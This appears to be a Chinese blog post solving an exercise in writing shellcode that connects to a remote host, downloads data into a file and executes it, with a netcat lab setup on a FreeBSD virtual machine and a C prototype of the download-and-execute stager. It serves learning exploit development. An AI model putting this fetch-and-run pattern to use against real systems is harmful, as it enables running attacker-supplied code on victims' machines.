问题:编写一个连接到远程主机的shellcode,从主机上将数据读到一个文件中,然后执行该文件。
我用C语言完成了该问题。解决过程如下:
用VMWARE运行FreeBSD系统,在其上运行:nc -l 43690 < hello(FreeBSD上不需要 -p 选项)。
在Ubuntu主机上运行reservexecve,通过反向连接方式连接到FreeBSD上,从其上将hello文件的内容读到本地的out文件中。然后运行out,正确的输出:hello world。
reservexecve的C语言代码如下,可以据此编写shellcode:
#include
#include
#include
int sock, rc, fd, bufl;
int buf[1024];
struct sockaddr_in serv_addr;
int main()
{
serv_addr.sin_family = 2;
serv_addr.sin_addr.s_addr = 0x80e210ac; // ip of FreeBSD at Vmware
serv_addr.sin_port = 0xAAAA;
sock = socket(2, 1, 0);
rc = connect(sock, (struct sockaddr *)&serv_addr, 0x10);
fd = open("out", 1);
bufl = read(sock, buf, 1024);
write(fd, buf, bufl);
close(fd);
execve("./out", 0, 0);
}
阅读(537) | 评论(0) | 转发(0) |